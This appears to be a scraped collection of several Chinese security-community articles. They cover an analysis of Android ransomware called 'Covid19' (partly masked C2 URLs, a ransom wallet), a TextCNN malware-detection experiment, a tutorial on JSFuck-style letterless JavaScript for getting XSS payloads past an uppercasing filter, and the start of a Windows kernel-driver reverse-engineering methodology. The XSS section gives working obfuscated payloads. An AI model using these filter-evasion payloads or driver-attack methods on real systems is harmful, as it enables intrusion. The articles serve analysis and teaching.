该程序是一款名为“Covid19”的勒索软件，程序运行后将自身界面置顶，妨碍用户正常退出。首先，获取设备的基本信息（UID）作为参数上传到远程服务器，用于识别设备并下发加密密钥，然后，加密用户手机的外部存储文件，加密文件后缀为“.encrypted”，同时将用户通讯录文件利用AES算法加密后，再通过BASE64编码进行存储，并删除原通讯录信息，最后，弹出勒索界面信息，要求用户需要支付0.028比特币。
用户点击“CHECKPAYMENT
ANDUNBLOCK”按钮时，程序访问服务器判断是否付款和获取解密密钥，当返回信息为“true”，密钥正确时会自动进行解密并提示用户重启手机解除锁定。
**病毒运行流程示意图：**
图2 病毒运行流程示意图
## 3.代码分析
该软件的代码框架相对简洁，主要由开机启动广播、恶意服务、勒索界面、加密解密四部分组成，其中加密解密密钥是从远程服务器远程获取，相对比较复杂。
图3 代码框架
**（1）实施勒索**
程序运行后将自身界面置顶，注册开机广播，实现开机自启，妨碍用户正常退出，获取设备的基本信息(如：UID)作为参数上传到远程服务器，用于设备识别并下发加密密钥，之后程序会对用户外部存储的文件以及通讯录文件利用AES算法进行加密。
自身界面置顶:
图4 窗口置顶
开机自启:
图5 开机自启
生成设备唯一识别码:
图6 生成设备UID
加密通讯录和外部存储文件：
url：http://ex***pooo.xyz/wp-content/gateway/attach.php
图7 加密通讯录和文件
获取勒索信息进行展示：
url：http://ex***pooo.xyz/wp-content/gateway/settings.php
图8 获取勒索信息
图9 展示勒索信息
**（2）加解密算法**
通过代码分析可知，加解密的密钥通过服务器下发，经过AES算法对通讯录和文件进行加密操作，由于AES算法属于对称加密算法，所以加解密的密钥相同，只要知道加密时的密钥就能进行解密，而加密的密钥可以在首次启动该软件时进行抓包获取到。
获取加密密钥:
图10 获取加密密钥
将密钥转换成比特数组:
图11 密钥转换
将转换后的比特数组作为KEY值，利用AES/CBC/PKCS5Padding算法类型进行加密:
图12 AES算法
加密通讯录：
将通讯录利用AES算法加密后，再通过BASE64编码进行存储，并删除原信息:
图13 加密通讯录
图14 通讯录加密前后对比
加密文件
将文件经过AES加密后，并在文件名后面添加“.encrypted”字符串，最后删除原文件
图15 文件加密前后对比
**（3）解除勒索**
当点击“CHECKPAYMENT
ANDUNBLOCK”按钮时，程序访问服务器判断是否付款和获取解密密钥，当返回信息为“true”，密钥正确时会自动进行解密并提示用户重启手机解除锁定。
与后台确认是否付款和解除锁定:
url：http://ex***pooo.xyz/wp-content/gateway/check.php
图16 与后台确认是否付款和解除锁定
图17 解析返回的信息
图18 解除锁定的界面
**溯源分析**
**（1）域名溯源**
通过域名信息进行溯源，发现该域名注册日期为2020年3月，存有后台管理地址，服务器开启了列目录功能，可以看到部分文件，通过文件的编辑日期可以看出该作者早在2018年就开始进行该软件的制作，最后修改日期为2020年4月22日，可以看出是针对目前的热点新闻进行了针对性修改，更容易欺骗用户。
Whois信息：
图19 域名备案信息
后台地址：
url：http://ex***pooo.xyz/wp-content/admin/login.php
图20 后台地址
服务器目录结构：
图21 服务器文件目录
用于勒索的主要文件：
图22 用于勒索的文件
域名对应IP地址为104.18.47.130 美国。
**（2）数字钱包溯源**
要求支付比特币的钱包地址：3DEdThknF1sRr57djd47ii2uKa1SWDG8c5
图23 比特币交易信息
**（3）同源性分析**
2019年8月，首次出现“SauronLocker”家族勒索软件，根据同源性分析，我们本次发现的样本在界面、包名、代码结构、逻辑功能等方面，都与“SauronLocker”家族病毒极度相似，我们归属于同一家族病毒。
界面对比：
图24 界面对比
代码结构对比：
图25 文件对比
签名对比，发现本次软件的作者使用了带有孟加拉国命名的签名信息：
图26 样本签名信息
## 5.总结
此类勒索软件具有代码结构相似，二次开发容易的特点，利用对文件和通讯录加密的方式进行勒索，由于密钥采用远程下发的方式，破解难度大，最终迫使用户交纳赎金，危害极大，该软件源代码已经泄露，使得二次开发和代码复用变得极其容易，对用户的威胁将会更大。
在此，暗影实验室提醒大家，不轻易相信陌生人，不轻易点击陌生人发送的链接，不轻易下载不安全应用。
1. 安全从自身做起，建议用户在下载软件时，到正规的应用商店进行下载正版软件，避免从论坛等下载软件，可以有效的减少该类病毒的侵害；
2. 很多用户受骗正是因为钓鱼短信的发件人显示为10086、95588等正常号码而放松安全警惕导致中招，运营商需要加强对伪基站的监控打击力度，减少遭受伪基站干扰的几率；
3. 各大银行、各支付平台需要加强对各自支付转账渠道的监管，完善对用户资金转移等敏感操作的风控机制，防止被不法分子利用窃取用户网银财产;
4. 警惕各种借贷软件的套路，不要轻易使用借贷类App。 | 社区文章 |
# 使用TextCNN模型探究恶意软件检测问题
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
本文以阿里云恶意软件数据集为基础，探究了在工业界背景下使用单模型TextCNN进行恶意软件检测的新方法，获得了很好的结果。
## 背景
在信息化时代，电子产品上存在很多恶意软件。例如很多用户使用存在后门的破解软件，当他们在操作系统上运行软件，破解软件会默默地获取系统信息并发送给攻击者，这样即泄露了用户的隐私。恶意软件的恶意攻击行为很多，电子产品企业如能使得产品具有良好的恶意软件检测性能，即能更好地保障用户的安全。
近几年，随着深度学习的高速发展，人们逐渐使用它自动学习恶意软件特征，从而识别当前应用是否是恶意软件。本文基于深度学习的知识和工业的单模型需求，使用了TextCNN模型探究恶意软件检测问题。
## 相关配置信息
### 数据源
阿里云提供了丰富的恶意软件运行后的数据集。在训练集表格数据中，存在四列数据：file_id、label、api、tid、index，分别表示文件编号、文件恶意行为类别（8类，分别是0-正常/1-勒索病毒/2-挖矿程序/3-DDoS木马/4-蠕虫病毒/5-感染型病毒/6-后门程序/7-木马程序）、文件调用的API、调用API的所属线程号、单个线程调用的API集的顺序号。
参考数据：
<https://tianchi.aliyun.com/competition/entrance/231694/information>
### 评估
在阿里云的测试集数据表格中，存在三列数据：file_id、api、tid、index。依据它们预测出label信息的所属类别概率分布，并将这列概率分布保存到一个结果数据表格。
结果数据表格中，存在九列数据：file_id，prob0, prob1, prob2, prob3, prob4, prob5
,prob6,prob7，分别表示测试集数据中的文件编号，后八列表示预测此文件分别是正常、勒索病毒、挖矿程序、DDoS木马、蠕虫病毒、感染型病毒、后门程序、木马程序的概率，概率和为1。
将结果数据表格提交到阿里云平台即可获得测试结果。
### 平台
本文使用的是Google Colab平台的GPU和TPU。TPU使用方法会在下面使用时详细说明。
Tensorflow版本：1.13.1，Keras:2.2.5
## 恶意软件检测
在这一部分，本文首先简述TextCNN的架构等基础内容，然后根据数据的分析情况和检测的结果分层次地对模型进行改进。
### TextCNN等基础内容
**Tokenizer类的函数和变量**
函数fit_on_text(texts)：使用一系列文档来生成token词典，texts为list类，每个元素为一个文档。
函数texts_to_sequences(texts)：将多个文档转换为word下标的向量形式
变量word_index：一个dict，保存所有word对应的编号id，从1开始
**Embedding**
将词的十进制表示做向量化
**SpatialDropout1D**
在模型开始应用，会按一定比例丢弃一个特征图中的多个通道信息，增强特征的独立性，这和dropout是不同的。
如下图。
**TextCNN**
可参考论文《Convolutional Neural Networks for Sentence
Classification》。TextCNN通过卷积核能充分获取到句子内部的逻辑相关性，具有很大的优势。
由上图可知，以此句子为例，首先按词数分成七部分，再将每部分的词通过Embedding的方法扩展为五维向量，即最终生成7×5的句子矩阵。再使用不同的卷积核对其进行卷积运算求取特征图。然后通过池化层池化所有特征图，最后通过全连接层汇聚特征为特征向量，从而用于分类，这里的分类数量为2。
### 模型实战
**数据处理**
首先将表格数据做处理存放至pkl文件，方便以后直接使用。
处理过程中，
本人将训练集表格中数据按照file_id分组，并在每组file_id中，依次按照tid、index对数据排序，将排序后的API作为此文件的核心数据，将label作为此文件所属的种类。测试集数据除无label，其他数据处理方式同上。
代码如下：
import pandas as pd
import pickle
import numpy as np
由上图可知生成了训练集和测试集的对应pkl文件。
**模型训练及预测**
首先使用Tokenizer根据已有API数据生成字典，将API数据转换为数字表示的形式。代码如下：
因为数据量巨大，且每个文件的API数据量都不一致，为了方便TextCNN的运行，使用pad_sequences截取inputLen长度的词。inputLen的长短直接决定了句子的丰富程度，在后续探究工作中可做改进。
规范好数据后，即可调用TextCNN模型，初次采用的结构如下：
根据上图可知，设置词向量的维度为20，使用了5个大小分别为1、3、3、5、5的卷积核，使用了基础的最大池化操作。这三部分设置关系了模型的性能，在后续探究工作中可做改进。
在训练及测试过程中，本文使用了5折交叉验证法，有效降低过拟合情况的产生。且结合使用早停机制和选择最优模型机制保存最好的训练结果。最后预测并生成结果数据表。
这部分代码链接：
<https://github.com/AI-Winner/Wang-Net-TextCNN/blob/master/my_net.py>
### 模型探究
### 模型改进1
使用GPU做模型的API信息探究。首先确定较合适的每个文件中API的个数inputLen，然后确定每个文件中每个API的词维度即textcnn网络中Embedding函数的第二个参数output_dim。
查看原始文件信息，可知文件的API个数最大为13264587。考虑GPU内存和速度，依次设置inputLen为100、5000、7000，联合设置output_dim为5、20。将训练好的模型预测出的结果提交至官网查看结果，如下图。
分析可知，API的个数inputLen为5000、词维度output_dim为20时结果较好，output_dim还有增大的潜力。
**模型改进2**
做早停方法探究。在早停机制中，依次设置训练过程中损失上升次数即EarlyStopping函数的patience为20、25。将训练好的模型预测出的结果提交至官网查看结果，如下图。
可知，patience为25时logloss为0.837264，经过改进logloss降低了2个百分点。
**模型改进3**
使用TPU做数据均衡、权重正则化、网络池化探究。
**数据均衡探究。**
针对本题，训练集和测试集不一样，应采取措施使得训练集和测试集中的正样本比例相差较小，这样训练出的模型对测试集具备更好的泛化能力。我们使用Keras中的fit函数的class_weight解决这个问题，如下。
fit(self, x=None, y=None, batch_size=None, epochs=1, verbose=1,
callbacks=None,
validation_split=0.0,validation_data=None,shuffle=True,class_weight=None,sample_weight=None,initial_epoch=0,steps_per_epoch=None,validation_steps=None)
class_weight：参数含义：字典，将不同的类别映射为不同的权值，该参数用来在训练过程中调整损失函数（只能用于训练）。该参数在处理非平衡的训练数据（某些类的训练样本数很少）时，可以使得损失函数对样本数不足的数据更加关注。假设有500个0级样本和1500个1级样本，未解决样本不均衡问题，应该设置class_weight
= {0：3，1：1}，这给了0级三倍于1级的权重。
可知官方计算logloss的方法如下。
为了得到测试集中各类别的样本数，则模拟一份测试结果提交官网。在测试结果表中，存在8个概率列表示当前文件所属各类恶意文件的概率，联合过渡平滑的思想，统一将一列设置为0.3表示文件的可能类别，其他列设置为0.1。此时，根据logloss计算方式，应用于此8分类问题中，则单个文件预测正确时，logloss计算方式为
单个样本预测错误时，logloss计算方式为
则当前，在测试结果表中，将8个概率列中一列设为0.3表明所有文件均可能是此类恶意文件，设置真实属于此类恶意文件的文件数为n，测试集样本总数为N，总logloss计算方式应为
换算可得。
由此，N已知，logloss通过官网对此测试表的计算结果可得到，即顺利得到属于此类恶意文件的样本数。依次可得到测试集所有类恶意样本的样本数。
可知测试集各类别样本数：0: 4978 1: 409 2: 643 3: 670 4: 122 5: 4288 6: 629 7: 1216
已知训练集各类别样本数：0: 4978 1: 502 2: 1196 3: 820 4: 100 5: 4289 6: 515 7: 148
本文可计算class_weight为：
0:1.00,1:0.81,2:0.54,3:0.82,4:1.22,5:1.00,6:1.22,7:0.82。程序设置方法如下。
**权重正则化探究**
有三种正则化方法：
L1：绝对值权重之和
L2：平方权重之和
L1L2:两者累加之和
实现方法分别是：
tf.keras.regularizers.l1(l=0.01)
tf.keras.regularizers.l2(l=0.01)
tf.keras.regularizers.l1_l2(l1=0.01,l2=0.01)
卷积层、全连接层使用权重正则化的方法分别是：
tf.keras.layers.Conv2D(32,3,activation=tf.nn.relu,kernel_regularizer=tf.keras.regularizers.l2(l=0.0005),bias_regularizer=tf.keras.regularizers.l2(l=0.0005))
tf.keras.layers.Dense(512,activation=tf.nn.relu,kernel_regularizer=tf.keras.regularizers.l2(l=0.001),bias_regularizer=tf.keras.regularizers.l2(l=0.001))
本文对于textcnn中卷积和全连接层的正则化如下：
**TPU基础**
在TPU中，典型的批量大小是1024。每个TPU 都由 8 个 TPU 核心组成，每个核心都有 8GB 的 RAM（或 HBM，即高带宽内存）。
在使用TPU训练模型时，每次输入的样本数应保持是8的倍数，使得每个TPU核心运行同样数量的样本，这样会不可避免地删除不能被8整除的一小部分样本。则在测试时，一个好的方法是在CPU上进行预测。
在本实验中，设置batchsize为8的倍数，此时训练集和验证集的数据量应符合如下代码：
**池化探究**
TextCNN中有一种池化层是时序最大池化，它可被认为是一维全局最大池化，可使模型不受人为手工为数据补0的影响。
全局池化就是pooling的 滑窗size 和整张feature map的size一样大。这样，每个 W×H×C 的feature map输入就会被转化为
1×1×C 输出。因此，其实也等同于每个位置权重都为 1/(W×H)1/(W×H) 的FC层操作。
本实验修改TextCNN中一般池化为最大池化和最大平均池化。
**实验结果**
由于TPU内存更大性能更好的原因，通过更多API信息、更多卷积核提取更多不同的特征如下。具体操作是设置API数量inputLen为20000，API词维度output_dim为128，网络中增加大小分别为1、3、5、7、9、11、13的卷积核。
结果如下：
经过改进，单模型logloss为0.555824，又降低了3个百分点，效果显著。
代码链接：
<https://github.com/HYWZ36/my_aliyun_ML_Malware_detect/tree/master/Code> | 社区文章 |
**作者： 天融信阿尔法实验室**
**原文链接：<https://mp.weixin.qq.com/s/mjqks20xZSV9NwgeB9Q1fw>**
## 一、前言
在一次`XSS`测试中,往可控的参数中输入`XSS
Payload`,发现目标服务把所有字母都转成了大写,假如我输入`alert(1)`,会被转成`ALERT(1)`,除此之外并没有其他限制,这时我了解到`JavaScript`中可以执行无字母的语句,从而可以绕过这种限制来执行`XSS
Payload`。
## 二、JS基础
先执行两段JS代码看下
([][[]]+[])[+!+[]]+([]+{})[+!+[]+!+[]]
([][[]]+[])[+!!~+!{}]+({}+{})[+!!{}+!!{}]
两段js代码都输出了字符串"nb",下面来分析下原因.
#### JS运算符的优先级
下面的表将所有运算符按照优先级的不同从高（20）到低（1）排列。
优先级 | 运算类型 | 关联性 | 运算符
---|---|---|---
20 | 圆括号 | n/a | ( … )
19 | 成员访问 | 从左到右 | … . …
19 | 需计算的成员访问 | 从左到右 | … [ … ]
19 | new (带参数列表) | n/a | new … ( … )
19 | 函数调用 | 从左到右 | … ( … )
19 | 可选链（Optional chaining） | 从左到右 | ?.
18 | new (无参数列表) | 从右到左 | new …
17 | 后置递增(运算符在后) | n/a | … ++
17 | 后置递减(运算符在后) | n/a | … --
16 | 逻辑非 | 从右到左 | ! …
16 | 按位非 | 从右到左 | ~ …
16 | 一元加法 | 从右到左 | \+ …
16 | 一元减法 | 从右到左 | \- …
16 | 前置递增 | 从右到左 | ++ …
16 | 前置递减 | 从右到左 | \-- …
16 | typeof | 从右到左 | typeof …
16 | void | 从右到左 | void …
16 | delete | 从右到左 | delete …
16 | await | 从右到左 | await …
15 | 幂 | 从右到左 | … ** …
14 | 乘法 | 从左到右 | … * …
14 | 除法 | 从左到右 | … / …
14 | 取模 | 从左到右 | … % …
13 | 加法 | 从左到右 | … + …
13 | 减法 | 从左到右 | … - …
12 | 按位左移 | 从左到右 | … << …
12 | 按位右移 | 从左到右 | … >> …
12 | 无符号右移 | 从左到右 | … >>> …
11 | 小于 | 从左到右 | … < …
11 | 小于等于 | 从左到右 | … <= …
11 | 大于 | 从左到右 | … > …
11 | 大于等于 | 从左到右 | … >= …
11 | in | 从左到右 | … in …
11 | instanceof | 从左到右 | … instanceof …
10 | 等号 | 从左到右 | … == …
10 | 非等号 | 从左到右 | … != …
10 | 全等号 | 从左到右 | … === …
10 | 非全等号 | 从左到右 | … !== …
9 | 按位与 | 从左到右 | … & …
8 | 按位异或 | 从左到右 | … ^ …
7 | 按位或 | 从左到右 | …|...
6 | 逻辑与 | 从左到右 | … && …
5 | 逻辑或 | 从左到右 | …||...
4 | 条件运算符 | 从右到左 | … ? … : …
3 | 赋值 | 从右到左 | … = …
2 | yield* | 从右到左 | yield* …
1 | 展开运算符 | n/a | ... …
0 | 逗号 | 从左到右 | … , …
以这个优先级对JS代码`([][[]]+[])[+!+[]]+([]+{})[+!+[]+!+[]]`来进行分解 | | |
先来看第一个分解的JS`([][[]]+[])`, 在()内[]的优先级高,会先处理,控制台执行看一下
#### JS类型转换
从分解的第一段js可以看到输出了字符串"undefined",这里就涉及到类型转换。在JS中当操作符两边的操作数类型不一致或者不是原始类型,就需要类型转换。JS有5种原始类型,`Undefined`、`Null`、`Boolean`、`Number`
和 `String`。
* 乘号、除号/、减号-,肯定是做数学运算,就会转换成Number类型的。
* 加号+,有可能是字符串拼接,也可能是数学运算,所以可能转化成Number或String。
* 符号!,表示取反,会转换成Boolean类型。
* 符号~,把操作数转成Number类型,取负运算在减1。
* 一元运算加法、减法,都会转成Number类型。
在看下非原始类型转换规则
`ToPrimitive(input, PreferredType?)`
可选参数PreferredType是Number或者是String。返回值为任何原始值。如果PreferredType是Number，执行顺序如下：
1. 如果input是原始值,直接返回这个值。
2. 否则,如果input是对象,调用input.valueOf(),如果结果是原始值,返回结果。
3. 否则,调用input.toString()。如果结果是原始值,返回结果。
4. 否则,抛出TypeError。
如果转换的类型是String，2和3会交换执行，即先执行toString()方法。
`ToNumber` 运算符根据下表将其参数转换为数值类型的值
输入类型 | 结果
---|---
undefined | NaN
Null | +0
Boolean | 如果参数是 true，结果为 1。如果参数是 false，此结果为 +0
Number | 不转换
String | "" 转换成 0,"123"转换成"123",无法解析的转换成NaN
Object | 调用ToPrimitive(input, Number)
`ToBoolean` 运算符根据下表将其参数转换为布尔值类型的值
输入类型 | 结果
---|---
undefined | false
Null | false
Boolean | 不转换
Number | 如果参数是 +0, -0, 或 NaN，结果为 false,否则结果为 true。
String | 如果参数参数是空字符串（其长度为零），结果为 false，否则结果为 true。
Object | true
`ToString` 运算符根据下表将其参数转换为字符串类型的值
输入类型 | 结果
---|---
undefined | "undefined"
Null | "null"
Boolean | 如果参数是 true，那么结果为 "true"。 如果参数是 false，那么结果为 "false"。
String | 不转换
Number | 数字转成字符串 例如 123转成"123"
Object | 调用ToPrimitive(input, String)
#### 分解步骤
第一段JS`([][[]]+[])`根据优先级会先执行`[]`,`[]`会定义一个空数组,`[[]]`会定义一个二维数组,那么`[][[]]`就是在一个空数组里面去寻找下标是一个非数字的值,肯定会返回undefined。到这可以分解成undefined+[],因为两把的操作数类型不一致,这里会调用`ToPrimitive`来进行转换
undefined根据上面的规则可以得知会转换成字符串"undefined",这时就是执行`"undefined"+""`,结果就是`"undefined"`字符串。
第二段JS`[+!+[]]`,会先执行里面的`[]`会定义一个空数组,
因为一元运算的原因会从右到左,那么`+[]`就会调用`ToNumber`,因为`[]`是`Object`类型所以会调用`ToPrimitive`,而`[].toString()`会返回`""`字符串,此时会执行`+""`,此时`""`会使用`ToNumber`进行转换,结果会是0。后面接着会用!进行取反,因为0不是`Boolean`类型,会调用`ToBoolean`进行类型转换,会转成`false`,对`false`取反会得到`true`,接着执行`+true`,会用`ToNumber`对`true`进行类型转换,会得到1,那么最终结果就是`[1]`
第三段JS`([]+{})`,`[]`通过`ToPrimitive`会得到`""`字符串,`{}`对象通过`ToPrimitive`会得到`"[object
Object]"`字符串。
第四段JS`[+!+[]+!+[]]`,根据优先级先执行`[]`,`+[]`得到0,`!0`得到`true`,`+true`得到数字1,1+1则等于2,最终结果是`[2]`
最终把这4小段js代码结果拼接起来看下,`"undefined"[1]+"[object Object]"[2]`。执行就会得到字符串`"nb"`。
## 三、分析JSFuck
JSFuck使用六个不同的字符`()[]+!`来编写和执行任意JS代码,在JS基础中讲述了如何通过几个字符来生成任意的字符串,JsFuck不仅只是生成字符串,还可以执行任意JS代码。
[][(
在控制台执行上面的JS,浏览器会弹出一个对话框内容是1。
经过一步步拆解,最后执行的JS代码是`[]["fill"]["constructor"]("alert(1)")()`,那这段代码为啥会执行`alert(1)`呢,通过控制台分解看下。
`[]["fill"]`获取数组的`fill`方法。在JS中每个函数实际上都是Function
对象,所以能`[]["fill"]["constructor"]`这样去获取`fill`的构造函数,换一个其它的函数也可以的比如`pop`、`map`等等。执行`[]["fill"]["constructor"]("alert(1)")()`相当于执行了`Function('alert(1)')()`
,在Function()构造函数中,最后一个实参所表示的文本是函数体,它可以包含任意的JS语句,使用()调用时所以会执行`alert(1)`,而不是字符串`"alert(1)"`
## 四、去掉括号
在前面的例子中都用到了`()`符号,用来进行分割语法,这里在看一个不用`()`的例子。
[][[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[[]+{}][+[]][+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[![]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!+[]]+[[][[]]+[]][+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[[]+{}][+[]][+!+[]]+[!![]+[]][+[]][+!+[]]][[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[[]+{}][+[]][+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[![]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!+[]]+[[][[]]+[]][+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[[]+{}][+[]][+!+[]]+[!![]+[]][+[]][+!+[]]]`$${[!{}+[]][+[]][+!+[]]+[!{}+[]][+[]][+!+[]+!+[]]+[!{}+[]][+[]][+!+[]+!+[]+!+[]+!+[]]+[!![]+[]][+[]][+!+[]]+[!![]+[]][+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]}$```
最后分解成这样的
[]["constructor"]["constructor"]`$${['false'][0][1]+['false'][0][2]+['false'][0][4]+['true'][0][1]+['true'][0][0]+["function find() { [native code] }"][0][13]+1+["function find() { [native code] }"][0][14]}$```
可以看到`Function`这里用`符号`替换括号。alert(1)这里的括号获取方式是`["function find() { [native code]
}"][0][13]`,这里找了find函数然后转成字符串赋值在数组里面,获取这个字符串的过程是`[[]['find']['constructor'].toString()]`,然后从数组里面取出来字符串,在截取下标位置是13、14,对应(和)符号。$符号是为了定义函数的参数,不加这个语法在解析的时候会报错。
有括号执行`alert(1)`字符串长度是976,没有括号字符长度是1289。前面说过目标服务只是把小写字母转成了大写,大写字母和数字还是可以正常使用的,可以使用数字就不用一个个的加了,可以使用大写字母可以把重复出现的字母定义成变量,这样就不用每次去转换了。
把要出现的字符都集中在一个变量里面
X=[![]]+!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[];
然后直接取字符串的下标
[][X[0]+X[19]+X[2]+X[2]][X[12]+X[15]+X[11]+X[3]+X[5]+X[6]+X[7]+X[12]+X[5]+X[15]+X[6]](X[1]+X[2]+X[4]+X[6]+X[5]+'('+1+')')()
执行的时候直接合成一行,整个字符的长度是226
X=[
浏览器会成功执行`alert(1)`
## 五、总结
在做测试的时候,首先可以确定下对哪些字符进行了过滤,然后再找其它的方法去替换过滤的字符,比如用`符号替换括号,用.join替换+号等等。
* * * | 社区文章 |
# Windows内核驱动程序静态逆向工程的方法论
|
##### 译文声明
本文是翻译文章，文章原作者 specterops，文章来源：posts.specterops.io
原文地址：<https://posts.specterops.io/methodology-for-static-reverse-engineering-of-windows-kernel-drivers-3115b2efed83>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、概述
多年来，许多恶意组织纷纷致力于针对Windows内核模式软件驱动程序进行攻击，特别是针对第三方发布的驱动程序开展攻击。在这些漏洞中，一个比较常见和有据可查的就是CAPCOM.sys任意函数执行、Win32k.sys本地特权提升以及EternalBlue池损坏漏洞。攻击者在驱动程序中得到了一些新的攻击维度，无论是通过传统的漏洞利用原语，还是滥用合法的驱动程序功能，这些都无法在用户模式中实现。
随着Windows安全性的不断发展，研究内核模式驱动程序中的漏洞利用对于我们的攻防技术而言变得越来越重要。为了辅助分析这些漏洞，我认为比较重要的一件事是，我们需要在研究中探寻内核漏洞，并找到一些值得关注并且可以滥用的功能。
在本文中，我将首先介绍驱动程序的工作原理，说明所需的先验知识，随后将进入反汇编领域，逐步查找潜在的易受攻击的内部函数。
我们的分析过程将尽量将复杂的问题简单化，因此在文章中可能会包含指向其他资源的一些链接，希望各位读者按需参考。
## 目标识别与选择
通常情况下，我们要首先分析的，就是基础工作站和服务器映像上到底加载了哪些驱动程序。如果我们能在这些核心驱动程序中发现漏洞，那么其影响将会比较广泛。同时，这也在对抗过程中带来了一个好处，也就是不需要再投放和加载新的驱动程序，从而降低被发现的概率。为此，我将手动查看注册表中的驱动程序（HKLMSystemControlSetServices，其中Type为0x1，ImagePath包含*.sys的条目），或使用类似于DriverQuery的工具通过C2来运行。
在选择目标时，我们需要考虑综合因素，因为没有某一种特定类型的驱动程序是比较容易受到攻击的。尽管如此，但我们倾向于将目标放在由安全厂商发布的驱动程序、由主板厂商发布的任何内容以及性能监控软件。并且，我们倾向于忽略掉微软的驱动程序，因为我们通常没有太多的时间对其进行深入研究。
## 二、驱动内部原理分析
如果大家以前没有开发过内核模式软件驱动程序，那么可能会发现，它看起来要比实际复杂得多。在开始进行逆向之前，必须首先了解三个重要概念————DriverEntry、IRP
Handler和IOCTL。
### 2.1 DriverEntry
与C/C++语言中的main()函数非常相似，驱动程序必须指定入口点DriverEntry。
DriverEntry要负责很多工作，例如创建设备对象、创建用于与驱动程序和核心函数（IRP Handler、卸载函数、回调例程等）进行通信的符号链接。
DriverEntry首先使用到`IoCreateDevice()`或`IoCreateDeviceSecure()`的调用来创建设备对象，后者通常用于将安全描述符应用于设备对象，以限制对本地管理员和NT
AUTHORITYSYSTEM的访问。
接下来，`DriveEntry`将`IoCreateSymbolicLink()`与先前创建的设备对象一起使用，以建立符号链接，该链接将允许用户模式进程与驱动程序进行通信。
其代码如下：
NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) {
UNREFERENCED_PARAMETER(RegistryPath);
NTSTATUS status;
// Create the device object
UNICODE_STRING devName = RTL_CONSTANT_STRING(L"\Device\MyDevice");
PDEVICE_OBJECT DeviceObject;
NTSTATUS status = IoCreateDevice(DriverObject, 0, &devName, FILE_DEVICE_UNKNOWN, 0, FALSE, &DeviceObject);
if (!NT_SUCCESS(status)) {
KdPrint(("Failed to create device object");
return status;
}
// Create the symbolic link
UNICODE_STRING symLink = RTL_CONSTANT_STRING(L"\??\MySymlink");
status = IoCreateSymbolicLink(&symLink, &devName);
if (!NT_SUCCESS(status)) {
KdPrint(("Failed to create symbolic link"));
IoDeleteDevice(DeviceObject);
return status;
}
return status;
}
最后，`DriverEntry`还定义了IRP Handler的函数。
### 2.2 IRP Handler
中断请求包（IRP）本质上只是驱动程序的一条指令。这些数据包允许驱动程序通过提供函数所需的相关信息来执行特定的主要函数。主要函数的代码较多，但其中最常见的是`IRP_MJ_CREATE`、`IRP_MJ_CLOSE`和`IRP_MJ_DEVICE_CONTROL`。这些与用户模式函数相关：
IRP_MJ_CREATE → CreateFile
IRP_MJ_CLOSE → CloseFile
IRP_MJ_DEVICE_CONTROL → DeviceIoControl
在用户模式下执行以下代码时，驱动程序将收到具有主要函数代码`IRP_MJ_CREATE`的IRP，并将执行`MyCreateCloseFunction`函数：
hDevice = CreateFile(L"\\.\MyDevice", GENERIC_WRITE|GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
在几乎所有情况下，对我们来说最重要的主要函数是`IRP_MJ_DEVICE_CONTROL`，该函数用于发送请求，以从用户模式执行特定的内部函数。这些请求中包括一个IO控制代码，该代码负责通知驱动程序具体的操作，还包含一个向驱动程序发送数据和从驱动程序接收数据的缓冲区。
### 2.3 IOCTL
